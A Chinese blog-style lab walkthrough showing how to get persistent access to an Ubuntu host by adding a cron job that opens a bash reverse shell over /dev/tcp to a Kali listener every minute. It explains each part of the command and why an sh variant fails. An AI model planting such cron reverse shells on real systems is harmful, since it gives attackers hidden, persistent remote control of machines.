当前位置: 首页 > news >正文

ubuntu计划任务反弹

目录

实验环境

实验步骤

目标主机构造任务计划

构造语句

 语句解释

kali开启监听

监听成功

问题

原因


实验环境

攻击者

操作系统:kali

IP:192.168.244.141

目标主机

操作系统:ubuntu

IP:192.168.244.151

实验步骤

目标主机构造任务计划

构造语句

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'

 语句解释

* * * * *:这是 Cron 的时间表达式,表示这个命令将每分钟执行一次。具体含义是分别对应分钟、小时、天、月、星期几,这里都是 *,表示每个可能的值,即每分钟执行一次。

/bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1':这是要在 Cron 任务中执行的命令。

/bin/bash -c:这个部分指定要执行的命令是用 Bash 解释执行。

'sh -i >& /dev/tcp/{ip}/{port} 0>&1':这是 Bash 命令本身,由单引号包围以确保整个命令被视为一个参数传递给 -c 选项。

0>&1:将标准输入重定向到标准输出,确保输入输出的正常运行

>& /dev/tcp/{ip}/{port}

/dev/tcp/{ip}/{port} 是 Bash 的特殊构造,用于在 Bash 中通过 TCP 连接实现网络通信。/dev/tcp 是一个虚拟的目录,Bash 会将其解释为通过 TCP 连接进行数据传输。{ip}{port} 分别应该替换为实际的目标 IP 地址和端口号。

>& 表示将标准输出和标准错误重定向到指定位置。

sh -i:启动一个交互式的 Shell,这里使用 sh 是因为在某些系统上,sh 可能是 bash 的符号链接。

kali开启监听

nc:是 netcat 命令的缩写,是一个网络工具,可以用来读取和写入网络连接中的数据。

-l:表示 netcat 进入监听模式,即等待来自客户端的连接请求。

-p:后面接端口号,表示要监听的端口号。例如,nc -lp 1234 就是在本地监听 1234 端口

监听成功

问题

当反弹语句为中启动交互shell时是sh -i这个如下列代码,监听会失败的

* * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'

原因

在某些操作系统中,sh可能被符号链接到bash,这意味着虽然你使用的是sh命令,实际上执行的是bash解释器。sh通常是指shell的默认符号链接,它可以指向系统中安装的任何shell(如bashdash等)。所以再ubuntu使用sh反弹shell时没有成功,但是使用bash反弹shell成功了。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • php获取,昨,今,后天.... 本周,月,年...日期时间戳
  • 1.浅谈蓝牙BLE的总体框架
  • 【Mark笔记】基于Centos7.7更改SSH端口重启服务报错
  • SAP S4 销售组的定义和分配
  • WGS84坐标转换代码(JS版)
  • KVM虚拟机添加USB转串口设备
  • Github获8k Star!入选苹果CoreML模型库的Depth Anything是怎么做出来的?
  • 【D3.js in Action 3 精译】1.3 D3 视角下的数据可视化最佳实践(上)
  • 数据结构day6链式队列
  • 多位冒充者曝光!全域外卖官方到底是谁?
  • 谷粒商城实战-25-分布式组件-SpringCloud Alibaba-Nacos配置中心-加载多配置集
  • 华盈生物-PhenoCycler-超多靶标揭示组织空间位置和互作关系
  • centos磁盘空间满了-问题解决
  • 流程管理与商务智能解决方案(62页PPT)
  • 编程社团研究内容怎么写
  • Android系统模拟器绘制实现概述
  • Android组件 - 收藏集 - 掘金
  • AWS实战 - 利用IAM对S3做访问控制
  • Git学习与使用心得(1)—— 初始化
  • Just for fun——迅速写完快速排序
  • Node.js 新计划:使用 V8 snapshot 将启动速度提升 8 倍
  • nodejs:开发并发布一个nodejs包
  • NSTimer学习笔记
  • rc-form之最单纯情况
  • Spring Security中异常上抛机制及对于转型处理的一些感悟
  • SpringCloud集成分布式事务LCN (一)
  • VUE es6技巧写法(持续更新中~~~)
  • vue数据传递--我有特殊的实现技巧
  • Zepto.js源码学习之二
  • 翻译 | 老司机带你秒懂内存管理 - 第一部(共三部)
  • 极限编程 (Extreme Programming) - 发布计划 (Release Planning)
  • 蓝海存储开关机注意事项总结
  • 消息队列系列二(IOT中消息队列的应用)
  • 一个JAVA程序员成长之路分享
  • 格斗健身潮牌24KiCK获近千万Pre-A轮融资,用户留存高达9个月 ...
  • ​ArcGIS Pro 如何批量删除字段
  • ​linux启动进程的方式
  • ​sqlite3 --- SQLite 数据库 DB-API 2.0 接口模块​
  • #1015 : KMP算法
  • #pragma预处理命令
  • $ git push -u origin master 推送到远程库出错
  • ()、[]、{}、(())、[[]]命令替换
  • (2)从源码角度聊聊Jetpack Navigator的工作流程
  • (env: Windows,mp,1.06.2308310; lib: 3.2.4) uniapp微信小程序
  • (ISPRS,2023)深度语义-视觉对齐用于zero-shot遥感图像场景分类
  • (官网安装) 基于CentOS 7安装MangoDB和MangoDB Shell
  • (限时免费)震惊!流落人间的haproxy宝典被找到了!一切玄妙尽在此处!
  • (一)utf8mb4_general_ci 和 utf8mb4_unicode_ci 适用排序和比较规则场景
  • .NET 8.0 中有哪些新的变化?
  • .NET Standard 支持的 .NET Framework 和 .NET Core
  • .Net高阶异常处理第二篇~~ dump进阶之MiniDumpWriter
  • .NET简谈互操作(五:基础知识之Dynamic平台调用)
  • ?php echo ?,?php echo Hello world!;?
  • @angular/cli项目构建--http(2)
  • @AutoConfigurationPackage的使用